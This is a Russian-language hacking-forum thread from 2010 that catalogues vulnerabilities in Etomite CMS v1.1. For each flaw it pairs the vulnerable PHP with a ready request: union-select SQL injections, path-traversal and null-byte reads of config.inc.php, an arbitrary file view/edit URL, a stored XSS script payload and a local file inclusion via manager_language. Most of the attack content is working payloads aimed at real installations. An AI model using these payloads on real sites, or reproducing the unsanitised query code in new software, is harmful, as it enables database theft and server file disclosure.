Обзор уязвимостей Etomite CMS v1.1

Discussion in 'Веб-уязвимости' started by [NiGHT]DarkAngel, 11 Jan 2010.

  1. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    1)Раскрытие путей
    Code:
    http://host/manager/actions/static/document_data.static.action.php
    Code:
    http://host/manager/includes/accesscontrol.inc.php
    2)SQL-injection
    Условия: Доступ в панель администрирования
    Code:
    http://host/manager/index.php?a=3&id=-1 union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
    Уязвимый код document_data.static.action.php:
    PHP:
    $id $_REQUEST['id'];
    // Tree State modifications provided by Jeroen and Raymond
    if (isset($_GET['opened'])) $_SESSION['openedArray'] = $_GET['opened'];
    $sql "SELECT * FROM $dbase.".$table_prefix."site_content WHERE $dbase.".$table_prefix."site_content.id = $id;";
    $rs mysql_query($sql);
    Сложность в том, что sql запрос одновременно должен быть истенным еще в файле accesscontrol.inc.php:

    PHP:
    $itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL';
    $lasthittime time();
    $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ;

    if(
    $a!=1) {
      
    $sql "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' 'NULL' "'$itemid'").", '$ip')";
      if(!
    $rs mysql_query($sql)) {
        echo 
    "error replacing into active users! SQL: ".$sql;
        exit;
      }
    }
    3)SQL-injection
    Условия: Доступ в панель администрирования
    Code:
    В админке, заходи в поиск и в строке поиска по id пишем 1' union select 1,2,user(),4,5,6,7/*
    Уязвимый код search.static.action.php:
    PHP:
    <?php
    if(isset($_REQUEST['submitok'])) {
      
    $searchid $_REQUEST['searchid'];
      
    $searchtitle htmlentities($_POST['pagetitle'], ENT_QUOTES);
      
    $searchcontent addslashes($_REQUEST['content']);
      
    $searchlongtitle addslashes($_REQUEST['longtitle']);


    $sqladd .= $searchid!="" " AND $dbase.".$table_prefix."site_content.id='$searchid' " "" ;
    $sqladd .= $searchtitle!="" " AND $dbase.".$table_prefix."site_content.pagetitle LIKE '%$searchtitle%' " "" ;
    $sqladd .= $searchlongtitle!="" " AND $dbase.".$table_prefix."site_content.longtitle LIKE '%$searchlongtitle%' " "" ;
    $sqladd .= $searchcontent!="" " AND $dbase.".$table_prefix."site_content.content LIKE '%$searchcontent%' " "" ;

    $sql "SELECT id, pagetitle, description, deleted, published, isfolder, type FROM $dbase.".$table_prefix."site_content where 1=1 ".$sqladd." ORDER BY id;";

    $rs mysql_query($sql);
    $limit mysql_num_rows($rs);
    ?>
    4)SQL-injection
    Условия: Доступ в панель администрирования
    Code:
    При выставлении прав групп пользователей на права просмотра группы документов подменяем в POST запросе параметр usergroup  на 1'union select 1,2,3/*
    Уязвимый код access_groups.processor.php:
    PHP:
        $usergroup $_REQUEST['usergroup'];
        if(empty(
    $usergroup))
        {
          echo 
    "No user group name specified for deletion";
          exit;
        }
        else
        {
          
    $sql "DELETE FROM $dbase.".$table_prefix."membergroup_names WHERE id='".$usergroup."'";
          if(!
    $rs mysql_query($sql))
          {
            echo 
    "Unable to delete group. SQL failed.";
            exit;
          }
    5)Работа с файлами(просмотр и редактирование любых файлов на сервере)
    Условия: Доступ в панель администрирования
    Code:
    http://host/manager/index.php?a=31&mode=edit&path=[full_path_to_file]
    Уязвимый код access_groups.processor.php:
    PHP:
    if($_REQUEST['mode'] == "edit" || $_REQUEST['mode'] == "view")
    {
    $filename=$_REQUEST['path'];
    $handle = @fopen($filename"r");
    if(!
    $handle)
    {
      echo 
    'Error opening file for reading.';
      exit;
    }
    else
    {
      while(!
    feof($handle))
      {
        
    $buffer .= fgets($handle4096);
      }
      
    fclose ($handle);
    }
    Линк для скачки CMS: http://www.etomite.com/index.php?app=downloads&showfile=323

    PS Конструктивную критику воспринимаю очень хорошо ;)
     
    3 people like this.
  2. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    6)Произвольное чтение файлов
    Условия: MG=off и RG=on
    Code:
    http://host/manager/actions/static/document_data.static.action.php?id=3/../../../../includes/config.inc.php%00
    Уязвимый код document_data.static.action.php
    PHP:
      <?php
      $buffer 
    "";
      
    $filename "../assets/cache/docid_".$id.".etoCache";
      
    $handle = @fopen($filename"r");
      if(!
    $handle)
      {
        
    $buffer "<div class=\"noSymbolPage\"><div class=\"noSymbolText\">".$_lang['page_data_notcached']."</div></div>";
      } else
      {    while (!
    feof($handle))
        { 
    $buffer .= fgets($handle4096);}
        
    fclose ($handle);
        
    $buffer=$_lang['page_data_cached']."<p><textarea style='width: 100%; border: 3px solid #4791C5;'>".htmlspecialchars($buffer)."</textarea>";
      }

      echo 
    $buffer;
      
    ?>
    7)SQL-injection
    Условия: MG=off
    Code:
    В поле поиска на главной страннице вводим ')union/**/select/**/1,2,3,user()# и в конце странниц результата поиска видим пользователя mysql 
    Уязвимый код записан в базе таблица site_snippets с именем SearchForm, или берется из настроек кэша \assets\cache\etomiteCache.idx.php тут он закодирован в base64
    PHP:
      <?php
      $searchString 

    isset(
    $_POST['search']) && 
    $_POST['search']!= "{{" && 
    $_POST['search']!= "[[" && 
    $_POST['search']!= "[(" && 
    $_POST['search']!= "[~" && 
    $_POST['search']!= "[*" ?
    $_POST['search'] : "" ;
    .....
    if(isset(
    $_POST['search']) && $_POST['search']!=''
    {
         
       
    $search explode(" "$_POST['search']);
       
        
       
    $tbl $etomite->dbConfig['dbase'].".".$etomite->dbConfig['table_prefix']."site_content"
       
       
    $sql "SELECT id, pagetitle, parent, description FROM $tbl WHERE ($tbl.content LIKE '%".$search[0]."%'"
       
       
       for (
    $x=1;$x count($search); $x++) { 
           
    $sql .= " AND $tbl.content like '%$search[$x]%'"
       } 
       
       
    $sql .= " OR $tbl.pagetitle LIKE '%".$search[0]."%' "
       
       for (
    $x=1;$x count($search); $x++) { 
           
    $sql .= " AND $tbl.pagetitle like '%$search[$x]%'"
       } 
       
    $sql .= " OR $tbl.description LIKE '%".$search[0]."%' "
       for (
    $x=1;$x count($search); $x++) { 
           
    $sql .= " AND $tbl.description like '%$search[$x]%'"
       } 
       
       
       
    $sql .= ") AND $tbl.published = 1 AND $tbl.searchable=1 AND $tbl.deleted=0;";
        
       
    $rs $etomite->dbQuery($sql);
     
    #2 [NiGHT]DarkAngel, 15 Jan 2010
    Last edited: 25 Jan 2010
    1 person likes this.
  3. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    8)SQL-injection
    Условия: Доступ в панель администрирования
    Code:
     http://host/manager/index.php?int_cur_position=100%20union%20select%201,2,3,4,5,6,7,user%28%29/*&a=13&searchuser=&action=0&itemid=0&itemname&message=&dateto=&datefrom=&nrresults=100&log_submit=Search
    Уязвимый код logging.static.action.php:

    PHP:
    // If current position is not set, set it to zero
     
    if( !isset( $_REQUEST['int_cur_position'] ) || $_REQUEST['int_cur_position'] == )
    {   
    $int_cur_position 0

    else 
    {  
     
    $int_cur_position $_REQUEST['int_cur_position'];
    }
    ....
    $sql .= " LIMIT ".$int_cur_position.", ".$int_num_result;
    $rs mysql_query($sql);
    $limit mysql_num_rows($rs);
    Чуть выше в этом же файле есть такие строчки:

    PHP:
    if($_REQUEST['selecteduser']!=0$sqladd .= " AND internalKey=".$_REQUEST['selecteduser'];
    if(
    $_REQUEST['action']!=0$sqladd .= " AND action=".$_REQUEST['action'];
    if(
    $_REQUEST['itemid']!=|| $_REQUEST['itemid']=="-"$sqladd .= " AND itemid='".$_REQUEST['itemid']."'"
    if(
    $_REQUEST['itemname']) $sqladd .= " AND itemname='".$_REQUEST['itemname']."'"
    if(
    $_REQUEST['message']!=""$sqladd .= " AND message LIKE '%".$_REQUEST['message']."%'"
    // date stuff 
    if($_REQUEST['datefrom']!=""$sqladd .= " AND timestamp>=".$_REQUEST['datefrom']; 
    if(
    $_REQUEST['dateto']!=""$sqladd .= " AND timestamp<=" . ($_REQUEST['dateto'] + (24*60*60-1)); 
    if(
    $_REQUEST['datesortdir'] != ''$sqladd .= " ORDER BY timestamp " $_REQUEST['datesortdir']; 
    // Get  number of rows 
    $sql "SELECT count(id) FROM $dbase.".$table_prefix."manager_log WHERE 1=1"
    $sql .= $sqladd;
    $rs=mysql_query($sql);
    $countrows mysql_fetch_assoc($rs);
    Все параметры уязвимы ... для реализации sql-injection подменяем любой из параметров в POST запросе на
    Code:
    1 union select 1,2,3,4,5,6,7,user()/*
    И в конце странницы видим пользователя mysql
     
    #3 [NiGHT]DarkAngel, 18 Jan 2010
    Last edited: 24 Jan 2010
    1 person likes this.
  4. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    9)SQL-injection
    Условия: Доступ в панель администрирования

    Code:
    http://host/manager/index.php?a=10&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*&m=r
    Уязвимый код messages.static.action.php:
    PHP:
    $sql "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id'];   
    $rs mysql_query($sql);   
    $limit mysql_num_rows($rs);  
     if(
    $limit!=1
    {     
    echo 
    "Wrong number of messages returned!";   

    else 
    {     
    $message=mysql_fetch_assoc($rs);
         if(
    $message['recipient']!=$_SESSION['internalKey']) 
    {      
     echo 
    $_lang['messages_not_allowed_to_read'];    
     } 
    else 
    {      
     
    // output message!       // get the name of the sender  
     
    $sender $message['sender'];
      if(
    $sender==0
     {        
     
    $sendername $_lang['messages_system_user'];
     } 
    else 
    {         
    $sql "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender"
    $rs2 mysql_query($sql);
    $row2 mysql_fetch_assoc($rs2);
    $sendername $row2['username'];
    }
    И еще одна в этом же файле:
    Code:
    http://host/manager/index.php?a=10&t=c&m=rp&id=1 and 3=1 union select 1,2,user(),4,5,1,7,8,9/*
    PHP:
    if(($_REQUEST['m']=='rp' || $_REQUEST['m']=='f') && isset($_REQUEST['id'])) 
    {    
    $sql "SELECT * FROM $dbase.".$table_prefix."user_messages WHERE $dbase.".$table_prefix."user_messages.id=".$_REQUEST['id'];     
    $rs mysql_query($sql);
    $limit mysql_num_rows($rs);
    if(
    $limit!=1
    {
     echo 
    "Wrong number of messages returned!";
    }
    else 
    {       
    $message=mysql_fetch_assoc($rs);
    if(
    $message['recipient']!=$_SESSION['internalKey']) 
    {         
    echo 
    $_lang['messages_not_allowed_to_read'];

    else
    {         
    // output message!         // get the name of the sender        
    $sender $message['sender'];
    if(
    $sender==0
    {           
    $sendername "[System]";

    else 
    {          
    $sql "SELECT username FROM $dbase.".$table_prefix."manager_users WHERE id=$sender";
    $rs2 mysql_query($sql);
    $row2 mysql_fetch_assoc($rs2);
    $sendername $row2['username'];
    }         
    $subjecttext $_REQUEST['m']=='rp' "Re: " "Fwd: ";         
    $subjecttext .= $message['subject'];        
    $messagetext "\n\n\n-----\n".$_lang['messages_from'].": $sendername\n".$_lang['messages_sent'].": ".strftime($date_format.' @ '.$time_format$message['postdate']+$server_offset_time)."\n".$_lang['messages_subject'].": ".$message['subject']."\n\n".$message['message'];
    if(
    $_REQUEST['m']=='rp'
    {           
    $recipientindex $message['sender'];         
    }       
    }     
    }   
    }
    Одновременно с этими выдержками из кода ... значения переданные через id, должны не препятствовать истинности выполнить sql-запрос в следующем участке кода файла accesscontrol.inc.php:
    PHP:
    $itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL';
    $lasthittime time();
    $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ;

    if(
    $a!=1) {
      
    $sql "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' 'NULL' "'$itemid'").", '$ip')";
      if(!
    $rs mysql_query($sql)) {
        echo 
    "error replacing into active users! SQL: ".$sql;
        exit;
      }
    }
    9)Active XSS
    Условия: Доступ в панель администрирования

    Не фильтруемые поля "Subject" и "Message" при отправке сообщения вставляем
    Code:
    <script>alert('hello')</script>
    Уязвимый код send_message.processor.php:
    PHP:
    $sendto $_POST['sendto'];
     
    $userid $_POST['user']; 
    $groupid $_POST['group'];
     
    $subject addslashes($_POST['messagesubject']); if($subject == ""$subject "(no subject)";
    $message addslashes($_POST['messagebody']);
     if(
    $message == ""$message "(no message)";
     
    $postdate time();  
    .............
    $sql "INSERT INTO ".$db."user_messages SET     id = '',     type = 'Message',     subject = '$subject',     message = '$message',     sender = "$_SESSION['internalKey'].",     recipient = $userid,     private = 1,     postdate = $postdate,     messageread = 0;   ";   
    $rs mysql_query($sql);
     
    #4 [NiGHT]DarkAngel, 25 Jan 2010
    Last edited: 25 Jan 2010
    2 people like this.
  5. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    LFI(требования: mq=off,rq=on)

    manager/index.php

    PHP:
    // accesscontrol.php checks to see if the user is logged in. If not, a log in form is shown
    include_once("includes/accesscontrol.inc.php");
    includes/accesscontrol.inc.php
    PHP:
      if(isset($manager_language)) {
        include_once(
    "lang/".$manager_language.".inc.php");
      } else {
        include_once(
    "lang/english.inc.php");
      }
    result:

    Code:
    manager/index.php?manager_language=../../../../../[file]%00
     
    5 people like this.